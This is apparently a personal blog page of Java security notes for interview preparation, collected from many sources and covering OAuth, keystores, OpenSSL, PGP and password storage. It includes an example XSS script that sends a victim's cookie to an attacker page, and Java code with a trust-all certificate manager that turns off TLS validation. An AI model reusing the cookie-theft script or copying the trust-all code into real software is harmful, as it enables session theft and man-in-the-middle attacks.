Massive Technical Interviews Tips: Java Security Misc

https://en.wikipedia.org/wiki/Code_injection#Shell_injection

https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2

Resource Owner: User

The resource owner is the user who authorizes an application to access their account. The application's access to the user's account is limited to the "scope" of the authorization granted (e.g. read or write access).

Resource / Authorization Server: API

The resource server hosts the protected user accounts, and the authorization server verifies the identity of the user then issues access tokens to the application.

From an application developer's point of view, a service's API fulfills both the resource and authorization server roles. We will refer to both of these roles combined, as the Service or API role.

Client: Application

The client is the application that wants to access the user's account. Before it may do so, it must be authorized by the user, and the authorization must be validated by the API.

The application requests authorization to access service resources from the user
If the user authorized the request, the application receives an authorization grant
The application requests an access token from the authorization server (API) by presenting authentication of its own identity, and the authorization grant
If the application identity is authenticated and the authorization grant is valid, the authorization server (API) issues an access token to the application. Authorization is complete.
The application requests the resource from the resource server (API) and presents the access token for authentication
If the access token is valid, the resource server (API) serves the resource to the application

https://support.globalsign.com/customer/portal/articles/1211541-install-client-digital-certificate---windows-using-chrome
Select Show Advanced Settings > Manage Certificates.Google Chrome Advanced Settings

https://security.stackexchange.com/questions/123944/what-is-the-purpose-role-of-the-alias-attribute-in-java-keystore-files

The alias field should be a unique string to identify the key entry. This applies to all type such a trusted and intermediate.

KeyStore Aliases

All keystore entries (key and trusted certificate entries) are accessed via unique aliases.

An alias is specified when you add an entity to the keystore using the -genseckey command to generate a secret key, -genkeypair command to generate a key pair (public and private key) or the -importcert command to add a certificate or certificate chain to the list of trusted certificates. Subsequent keytool commands must use this same alias to refer to the entity.

For example, suppose you use the alias duke to generate a new public/private key pair and wrap the public key into a self-signed certificate (see Certificate Chains) via the following command:

keytool -genkeypair -alias duke -keypass dukekeypasswd

This specifies an inital password of "dukekeypasswd" required by subsequent commands to access the private key assocated with the alias duke. If you later want to change duke's private key password, you use a command like the following:

`keytool -keypasswd -alias duke -keypass dukekeypasswd -new newpass`

This changes the password from "dukekeypasswd" to "newpass".

https://www.openssl.org/docs/manmaster/man1/pkcs12.html

-export

This option specifies that a PKCS#12 file will be created rather than parsed.

-out filename

This specifies filename to write the PKCS#12 file to. Standard output is used by default.

-in filename

The filename to read certificates and private keys from, standard input by default. They must all be in PEM format. The order doesn't matter but one private key and its corresponding certificate should be present. If additional certificates are present they will also be included in the PKCS#12 file.

-inkey file_or_id

File to read private key from. If not present then a private key must be present in the input file. If no engine is used, the argument is taken as a file; if an engine is specified, the argument is given to the engine as a key identifier.

https://www.openssl.org/docs/manmaster/man1/req.html

-new

This option generates a new certificate request. It will prompt the user for the relevant field values. The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file and any requested extensions.

If the -key option is not used it will generate a new RSA private key using information specified in the configuration file.

-newkey arg

This option creates a new certificate request and a new private key. The argument takes one of several forms. rsa:nbits, where nbits is the number of bits, generates an RSA key nbits in size. If nbits is omitted, i.e. -newkey rsa specified, the default key size, specified in the configuration file is used.

-key filename

This specifies the file to read the private key from. It also accepts PKCS#8 format private keys for PEM format files.

https://en.wikipedia.org/wiki/PKCS_12

PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust.^[1]

A PKCS #12 file may be encrypted and signed. The internal storage containers, called "SafeBags", may also be encrypted and signed. A few SafeBags are predefined to store certificates, private keys and CRLs. Another SafeBag is provided to store any other data at individual implementer's choice.^[2]^[3]

PKCS #12 is one of the family of standards called Public-Key Cryptography Standards (PKCS) published by RSA Laboratories.

The filename extension for PKCS #12 files is ".p12" or ".pfx"

https://knowledge.geotrust.com/support/knowledge-base/index?page=content&id=SO25984&actp=search&viewlocale=en_US&searchid=1435162914930

To create a PKCS12 file using OpenSSL follow the steps listed below:

Copy the private key and SSL certificate to a plain text file. The private key should go on top with the SSL certificate below. In the example, we use "filename.txt" as the name of the file containing the private key and SSL certificate.
Run the following openssl command:

openssl pkcs12 -export -in filename.txt -out filename.p12

https://support.quovadisglobal.com/kb/a37/what-is-pem-format.aspx
PEM or Privacy Enhanced Mail is a Base64 encoded DER certificate. PEM certificates are frequently used for web servers as they can easily be translated into readable data using a simple text editor. Generally when a PEM encoded file is opened in a text editor, it contains very distinct headers and footers.

Above is the example of a CSR (certificate signing request) in PEM format. You can see that PEM has the characteristics of containing a header, the body (which consists mainly of code) and footer.

The header and footer is what identifies the type of file, however be aware that not all PEM files necessarily need them.

https://www.artima.com/forums/flat.jsp?forum=121&thread=347900
Keystore is used by a server to store private keys, and truststore is used by third party client to store public keys provided by server to access.
http://www.java67.com/2012/12/difference-between-truststore-vs.html
Main difference between trustStore vs keyStore is that trustStore (as name suggest) is used to store certificates from trusted Certificate authorities(CA) which are used to verify certificate presented by Server in SSL Connection while keyStore is used to store private key and own identity certificate which program should present to other parties (Server or client) to verify its identity

One example is setting up SSL for tomcat is server side of SSL while setting up JDBC over SSL is client side of SSL connection. If you are implementing SSL on Server side you need a KeyStore to store your server certificate and private key.

Anytime a client will connect to the server, server will present its certificate stored in KeyStore and client will verify that certificate by comparing with certificates stored on its trustStore.

1) Keystore is used to store your credential (server or client) while truststore is used to store others credential (Certificates from CA).

2) Keystore is needed when you are setting up server side on SSL, it is used to store server's identity certificate, which server will present to a client on the connection while trust store setup on client side must contain to make the connection work. If you browser to connect to any website over SSL it verifies certificate presented by server against its truststore.

3) Though I omitted this on the last section to reduce confusion but you can have both keystore and truststore on client and server side if the client also needs to authenticate itself on the server. In this case, client will store its private key and identify certificate on keystore and server will authenticate the client against certificate stored on server's trust store.

4) In Java -javax.net.ssl.keyStore property is used to specify keystore while -javax.net.ssl.trustStore is used to specify trustStore.

5) In Java, one file can represent both keystore vs truststore but it's better to separate private and public credential both for security and maintenance reason.

6) When you install JDK or JRE on your machine, Java comes with its own truststore (collection of certificate from well known CA like Verisign, goDaddy, thwarte etc. you can find this file inside

JAVA_HOME/JRE/Security/cacerts where JAVA_HOME is your JDK Installation directory.

7) keytool command (binary comes with JDK installation inside JAVA_HOME/bin) can be used to create and view both keyStore and trustStore.

SSL has been around for long enough you'd think that there would be agreed upon container formats. And you're right, there are. Too many standards as it happens. So this is what I know, and I'm sure others will chime in.

.csr This is a Certificate Signing Request. Some applications can generate these for submission to certificate-authorities. The actual format is PKCS10 which is defined in RFC 2986. It includes some/all of the key details of the requested certificate such as subject, organization, state, whatnot, as well as the public key of the certificate to get signed. These get signed by the CA and a certificate is returned. The returned certificate is the public certificate (which includes the public key but not the private key), which itself can be in a couple of formats.
.pem Defined in RFC's 1421 through 1424, this is a container format that may include just the public certificate (such as with Apache installs, and CA certificate files /etc/ssl/certs), or may include an entire certificate chain including public key, private key, and root certificates. Confusingly, it may also encode a CSR (e.g. as used here) as the PKCS10 format can be translated into PEM. The name is from Privacy Enhanced Mail (PEM), a failed method for secure email but the container format it used lives on, and is a base64 translation of the x509 ASN.1 keys.
.key This is a PEM formatted file containing just the private-key of a specific certificate and is merely a conventional name and not a standardized one. In Apache installs, this frequently resides in /etc/ssl/private. The rights on these files are very important, and some programs will refuse to load these certificates if they are set wrong.
.pkcs12 .pfx .p12 Originally defined by RSA in the Public-Key Cryptography Standards(abbreviated PKCS), the "12" variant was originally enhanced by Microsoft, and later submitted as RFC 7292. This is a passworded container format that contains both public and private certificate pairs. Unlike .pem files, this container is fully encrypted. Openssl can turn this into a .pem file with both public and private keys: openssl pkcs12 -in file-to-convert.p12 -out converted-file.pem -nodes

https://serverfault.com/questions/266232/what-is-a-challenge-password

The "challenge password" requested as part of the CSR generation, is different from the passphrase used to encrypt the secret key (requested at key generation time, or when a plaintext key is later encrypted - and then requested again each time the SSL-enabled service that uses it starts up).

So I say again: the "challenge password" requested as part of the CSR generation is not the same thing as a passphrase used to encrypt the secret key. The "challenge password" is basically a shared-secret nonce between you and the SSL certificate-issuer (aka Certification Authority, or CA), embedded in the CSR, which the issuer may use to authenticate you should that ever be needed. Some SSL certificate-issuers make that clearer than others; look down at the bottom of this page to see where they say the challenge password is needed - it's not when you restart apache:

Should you choose to enter and use a challenge password, you will need to make sure that you save that password in a secure place. If you ever need to reinstall your certificate for any reason, you will be required to enter that password.

https://rietta.com/blog/2012/01/27/openssl-generating-rsa-key-from-command/

Generate a 2048 bit RSA Key

You can generate a public and private RSA key pair like this:

openssl genrsa -des3 -out private.pem 2048

That generates a 2048-bit RSA key pair, encrypts them with a password you provide, and writes them to a file. You need to next extract the public key file. You will use this, for instance, on your web server to encrypt content so that it can only be read with the private key.

openssl genrsa -des3 -f4 -passout pass:some_password -out key.pem 4096

Export the RSA Public Key to a File

This is a command that is

openssl rsa -in private.pem -outform PEM -pubout -out public.pem

https://www.globalsign.com/en/blog/what-is-a-certificate-signing-request-csr/
A certificate signing request (CSR) is one of the first steps towards getting your own SSL Certificate. Generated on the same server you plan to install the certificate on, the CSR contains information (e.g. common name, organization, country) the Certificate Authority (CA) will use to create your certificate. It also contains the public key that will be included in your certificate and is signed with the corresponding private key.

https://www.ssl.com/faqs/common-name/
The Common Name is typically composed of Host + Domain Name and will look like “www.yoursite.com” or “yoursite.com”. SSL Server Certificates are specific to the Common Name that they have been issued to at the Host level. The Common Name must be the same as the Web address you will be accessing when connecting to a secure site. For example, a SSL Server Certificate for the domain “domain.com” will receive a warning if accessing a site named “www.domain.com” or “secure.domain.com”, as “www.domain.com” and “secure.domain.com” are different from “domain.com”. You would need to create a CSR for the correct Common Name. When the Certificate will be used on an Intranet (or internal network), the Common Name may be one word, and it can also be the name of the server

https://issues.apache.org/jira/browse/SOLR-11477

RunExecutableListener

proc = Runtime.getRuntime().exec(cmd, envp ,dir);

* SOLR-11482: RunExecutableListener was deprecated and is disabled by default for security reasons. Legacy applications still using it must explicitely pass '-Dsolr.enableRunExecutableListener=true' to the Solr command line. Be aware that you should really disable API-based config editing at the same time, using '-Ddisable.configEdit=true'!

http://www.geeksforgeeks.org/session-hijacking/

TCP session hijacking is a security attack on a user session over a protected network. The most common method of session hijacking is called IP spoofing, when an attacker uses source-routed IP packets to insert commands into an active communication between two nodes on a network and disguising itself as one of the authenticated users. This type of attack is possible because authentication typically is only done at the start of a TCP session.

Another type of session hijacking is known as a man-in-the-middle attack, where the attacker, using a sniffer, can observe the communication between devices and collect the data that is transmitted.

Cross Site Scripting(XSS Attack)
Attacker can also capture victim’s Session ID using XSS attack by using javascript. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.

<SCRIPT type="text/javascript">

var adr = '../attacker.php?victim_cookie=' + escape(document.cookie);

</SCRIPT>

http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/
https://superuser.com/questions/594116/clean-up-my-gnupg-keyring

to delete a public key (from your public key ring):
gpg --delete-key "User Name"
This removes the public key from your public key ring.
NOTE! If there is a private key on your private key ring associated with this public key,
you will get an error! You must delete your private key for this key pair from your 
private key ring first.

to delete a private key (a key on your private key ring):
gpg --delete-secret-key "User Name"
This deletes the secret key from your secret key ring.

http://blog.ghostinthemachines.com/2015/03/01/how-to-use-gpg-command-line/

ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

brew install gnupg

gpg --decrypt filename.txt.gpg

sudo yum install gnupg

http://superuser.com/questions/920793/how-to-specify-private-key-when-decrypting-a-file-using-gnupg

GnuPG requires keys (both public and private) to be stored in the GnuPG keyring. This is as easy as

gpg --import [keyfile]

Afterwards, you should be able to decrypt the file exactly the way you already tried.

https://www.javacodegeeks.com/2011/06/java-pretty-good-privacy-pgp.html
Pretty Good Privacy.” PGP is a hybrid implementation of conventional cryptography as well as public key encryption.

It accomplishes this by using asymmetric key encryption. It uses a pair of keys for encryption: a public key which encrypts the data from the sender and a “corresponding” private key which decrypts the data on the receiving end. These public/private keys are mathematically linked yet generated so that neither is derivable (computationally feasible) from knowledge of the other

The keys are based on mathematical relationships (most notably the integer factorization and discrete logarithm problems). However, as computation becomes faster, encryption algorithms will always need to become more sophisticated.

the public key is published and made available. It empowers anyone to encrypt data using the public key, but only the party in possession of the private key can decrypt the data. A big benefit of public key cryptography is that it enables parties who have no preexisting security arrangement to exchange messages in a secure manner since all communications involve only public keys, and no private key is ever transmitted or shared.

PGP
The body of the message in clear text or plain text is first compressed and then encrypted. This compression not only does it make files easier to transmit but also strengthens security. Currently, there is standards body who maintain this project: OpenPGP Alliance.

After compression, PGP then creates a session key. This session key is a one-time secret key generated from movements of your mouse and keystrokes you type. With this session key, the data is encrypted to form the ciphertext. Once encrypted, the session key is then encrypted to the recipient’s public key, which is bound to a username and/or an email address (more on this later). This public key is transmitted along with the ciphertext to the recepient.

Decryption works in reverse. The recipient’s copy of PGP uses the users private key to recover the session key generated above in order to decrypt the ciphertext.

In addition to encryption, PGP uses a cryptographically strong hash function for message signatures if the need is to provide some form of verification. A hash function is a process that takes a variable-length input (a message) and produces a fixed length output; say 160-bits. This is called a message digest which can be different with the slightest change on the input. Then PGP uses the digest and the private key to create the “signature.” Furthermore, this signature and the plain text are transmitted to receiver who will need to recompute the digest and verify the signature. Again, the slightest alteration of this message will change the signed document and cause the verification process to fail.

http://sloanseaman.com/wordpress/2011/08/11/pgp-encryptiondecryption-in-java/

I’m using the PGP library from Bouncy Castle. Honestly it’s poorly documented and rather complex but it’s the best and most common one that I could find.

http://sloanseaman.com/wordpress/2012/05/13/revisited-pgp-encryptiondecryption-in-java/

http://stackoverflow.com/questions/9596298/pgp-encryption-and-decryption-with-java

BouncyCastle has certain support for OpenPGP ("certain" because they mention only RFC 2440 and not RFC 4880 which is more recent). Also you can take a look at OpenPGPBlackbox package of our SecureBlackbox (Java edition), which provides complete support for OpenPGP including LDAP access to keys and other advanced functions.

https://github.com/justinludwig/jpgpj

JPGPJ provides a simple API on top of the Bouncy Castle Java OpenPGP implementation (which is full and robust implementation of RFC 4880, and compatible with other popular PGP implementations such as GnuPG, GPGTools, and Gpg4win). The JPGPJ API is limited to file encryption, signing, decryption, and verification; it does not include the ability to generate, update, or sign keys, or to do clearsigning or detached signatures.

http://stackoverflow.com/questions/2927952/why-do-people-use-bouncycastle-instead-of-javas-built-in-jce-provider-what-is

BouncyCastle has many more cipher suites and algorithms than the default JCE provided by Sun.

Sun never intended to be an exhaustive provider of ciphers. It's why JCE uses the provider framework which BC supports bouncycastle.org/specifications.html#install . Any users of BC would be wise to use it through the JCE APIs when possible.

Java EE Connector Architecture (JCA) is a Java-based technology solution for connecting application servers and enterprise information systems (EIS) as part of enterprise application integration (EAI) solutions.

Coding
https://branetheory.org/2010/07/28/bouncy-castle-encrypt-a-stream/
https://github.com/bcgit/bc-java/blob/master/pg/src/main/java/org/bouncycastle/openpgp/examples/PGPExampleUtil.java
https://github.com/bcgit/bc-java/blob/master/pg/src/main/java/org/bouncycastle/openpgp/examples/KeyBasedLargeFileProcessor.java
https://github.com/bcgit/bc-java/blob/master/pg/src/main/java/org/bouncycastle/openpgp/examples/KeyBasedFileProcessor.java
http://cephas.net/blog/2004/04/01/pgp-encryption-using-bouncy-castle/

https://github.com/bcgit/bc-java/blob/master/pg/src/main/j2me/org/bouncycastle/openpgp/test/BcPGPKeyRingTest.java
byte[] secretKey = Base64.decode(
PGPSecretKeyRingCollection secretRings = new PGPSecretKeyRingCollection(sec1, new BcKeyFingerprintCalculator());
https://coderanch.com/t/600592/Bouncy-Castle-API-invalid-header
Bouncy Castle API: invalid header encountered - using GnuPG v1.4.9 (MingW32) key

I've resolved the issue, needed to convert java.IO.InputStream to a BCPGInputStream using PGPUtil.getDecoderStream before creating PGPPublicKeyRingCollection.
https://www.sslshopper.com/article-most-common-java-keytool-keystore-commands.html

Check which certificates are in a Java keystorekeytool -list -v -keystore keystore.jks
Check a particular keystore entry using an aliaskeytool -list -v -keystore keystore.jks -alias mydomain

SSL Certificate
https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-779355358.html
<JAVA_HOME>/bin/java -Djavax.net.ssl.trustStore=/my/custom/truststore SSLPoke jira.example.com 443

java -Djavax.net.ssl.trustStore=yourTruststore.jks -Djavax.net.ssl.trustStorePassword=123456 YourApp

default/common password: changeit

https://confluence.atlassian.com/download/attachments/117455/SSLPoke.java

Encode
http://security.coverity.com/blog/2013/Nov/to-escape-or-not-to-escape-that-is-the-question.html
http://stackoverflow.com/questions/26581891/do-i-need-to-enable-canonicalization-when-using-owasp-esapi

public static String stripXSS( String value )
{
if( value != null )
{
// Use the ESAPI library to avoid encoded attacks.
value = ESAPI.encoder().canonicalize( value );

// Avoid null characters
value = value.replaceAll("\0", "");

// Clean out HTML
value = Jsoup.clean( value, Whitelist.none() );
}
return value;
}
public static String sanitize(String message) {
if (message==null) {
return "";
}
// ensure no CRLF injection into logs for forging records
// String clean = message.replace('\n', '_').replace('\r', '_');
String[] parts = message.split("[\r\n]");
StringBuilder clean = new StringBuilder();
boolean first = true;
for (String line : parts) {
if (!first) {
clean.append("\r\n> ");
first = false;
}
clean.append(line);
}
// more stuff here? add " (sanitized)" if changed?
return clean.toString();
}

http://www.jasypt.org/encrypting-texts.html

BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
textEncryptor.setPassword(myEncryptionPassword);
String myEncryptedText = textEncryptor.encrypt(myText);
String plainText = textEncryptor.decrypt(myEncryptedText);

don't use StrongTextEncryptor, unless u install the Java Cryptography Extension (JCE) Unlimited Strength Jurisdiction Policy Files in this Java Virtual Machine

Using strong encryption in Java

How to add or list certificates from keystore or trustStore in Java - Keytool Example
listing certificates form Java Keystore
keytool -list -keystore cacerts

Example of adding Certificate on Java KeyStore:
1. Get Certificate: easier way is point your browser to that url and when certificate is presented save it on your
local folder or directory say in C:/certificates/test.cer
Exporting Certificate Authorities (CAs) from a Website
Drag the certificate icon to a folder.

2. Now go to Security folder of your JRE installation directory. id you have JDK installed than it would be
something like C:/Program Files/Java//jdk1.6.0_20/jre/lib/security

3 Execute following keytool command to insert certificate into keystore
keytool -import -keystore cacerts -file test.cer

1. Certificates are required to access secure sites using SSL protocol or making secure connection from client to server.

2. JRE stores certificates inside keystore named as "cacerts" in folder C:/Program Files/Java//jdk1.6.0_20/jre/lib/security.

3. Common password of keystore is "Changeit"

4. Keytool is used to access keystore in Java and by using keytool you can list, add certificates from keystore.

5. if you are implementing SSL connection on Server side say Tomcat you need both keyStore and trustStore, both can be same file though. keyStore will be used to store server certificate which server will present to client on SSL connection.

How to save a remote server SSL certificate locally as a file
openssl s_client -connect {HOSTNAME}:{PORT} | tee logfile ==> not work

How do I export a commercial certificate from my browser Chrome?

How to merge two jssecacerts files? - Merge key store files

How to import a .cer certificate into a java keystore?

A certificate is a public key with extra properties (like company name, country,...) that is signed by some Certificate authority that guarantees that the attached properties are true.
.CER files are certificates and don't have the private key. The private key is provided with a .PFX keystore file normally. If you really authenticate is because you already had imported the private key.

You normally can import .CER certificates without any problems with

keytool -importcert -file certificate.cer -keystore keystore.jks -alias "Alias"

Error Importing SSL certificate : Not an X.509 Certificate

Does your cacerts.pem file hold a single certificate? Since it is a PEM, have a look at it, it should start with

-----BEGIN CERTIFICATE-----

and end with

-----END CERTIFICATE-----

Finally, to check it is not corrupted, get hold of openssl and print its details using

openssl x509 -in cacerts.pem -text

https://dzone.com/articles/secure-design-principles-insider-threat
many systems today are built with application-level credentials - don’t do this! This gives you no visibility into who is doing what within your applications. Without that, you can’t effectively monitor for access and use. If you have an application with users, ensure that all access to data and functionality is limited by the user identity, not the identity of the system.

Try to make sure that any sensitive data you collect, if anonymized as part of your data management strategy, is well segregated from information that can compromise its anonymity.
https://en.wikipedia.org/wiki/Cryptographic_nonce
a nonce is an arbitrary number that may only be used once. It is similar in spirit to a nonce word, hence the name. It is often a random or pseudo-random number issued in an authentication protocol to ensure that old communications cannot be reused in replay attacks. They can also be useful as initialization vectors and in cryptographic hash function.
https://en.wikipedia.org/wiki/Salt_(cryptography)

In cryptography, a salt is random data that is used as an additional input to a one-way function that "hashes" a password or passphrase.^[1] The primary function of salts is to defend againstdictionary attacks versus a list of password hashes and against pre-computed rainbow table attacks.

A new salt is randomly generated for each password. In a typical setting, the salt and the password are concatenated and processed with a cryptographic hash function, and the resulting output (but not the original password) is stored with the salt in a database. Hashing allows for later authentication while protecting the plaintext password in the event that the authentication data store is compromised.

SSLContext sslcontext = null;
try {
sslcontext = SSLContext.getInstance("TLS");
sslcontext.init(null, new TrustManager[] {new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}}, new java.security.SecureRandom());
} catch (Exception e) {
throw e;
}
ConnectorProvider provider = new ApacheConnectorProvider();
clientConfig.connectorProvider(provider);
ClientBuilder builder = ClientBuilder.newBuilder().withConfig(clientConfig).sslContext(sslcontext);
Client noSslHandshakeClient = builder.build();

http://jakzaprogramowac.pl/pytanie/1534,how-to-stop-hack-dos-attack-on-web-api

If D-DOS attack is mild in your website, you can implement application level checks. For example, below configuration will restrict maximum number of connections from single IP as quoted in Restrict calls from single IP

<Directory /home/*/public_html> -- You can change this location
    MaxConnPerIP 1  
    OnlyIPLimit audio/mpeg video
</Directory>

http://omaralzabir.com/prevent_denial_of_service__dos__attacks_in_your_web_application/

http://stackoverflow.com/questions/21198581/ddos-attacks-restful-web-services

Put a HTTP cache like Squid or Varnish in front of your API and put a small max-age header on any resource that you are concerned about. Even having a max-age of 1 second will prevent your API from being hit more than once per second for that resource.

https://www.owasp.org/index.php/REST_Security_Cheat_Sheet

http://www.geeksforgeeks.org/use-char-array-string-storing-passwords-java/

Strings are immutable: Strings are immutable in Java and therefore if a password is stored as plain text it will be available in memory until Garbage collector clears it and as Strings are used in String pool for re-usability there are high chances that it will remain in memory for long duration, which is a security threat. Strings are immutable and there is no way that the content of Strings can be changed because any change will produce new String.
With an array, the data can be wiped explicitly data after its work is complete. The array can be overwritten and and the password won’t be present anywhere in the system, even before garbage collection.
Security: Any one who has access to memory dump can find the password in clear text and that’s another reason to use encrypted password than plain text. So Storing password in character array clearly mitigates security risk of stealing password.
Log file safety: With an array, one can explicitly wipe the data , overwrite the array and the password won’t be present anywhere in the system.
With plain String, there are much higher chances of accidentally printing the password to logs, monitors or some other insecure place. char[] is less vulnerable.

CSR stands for Certificate Signing Request and is the standard data format for requesting certificates from a Certificate Authority (CA). It is a block of secure (signed) data containing a public key and identifying information for the requestor.

Friday, September 18, 2015

Java Security Misc

Resource Owner: User

Resource / Authorization Server: API

Client: Application

Generate a 2048 bit RSA Key

Export the RSA Public Key to a File

Labels

Popular Posts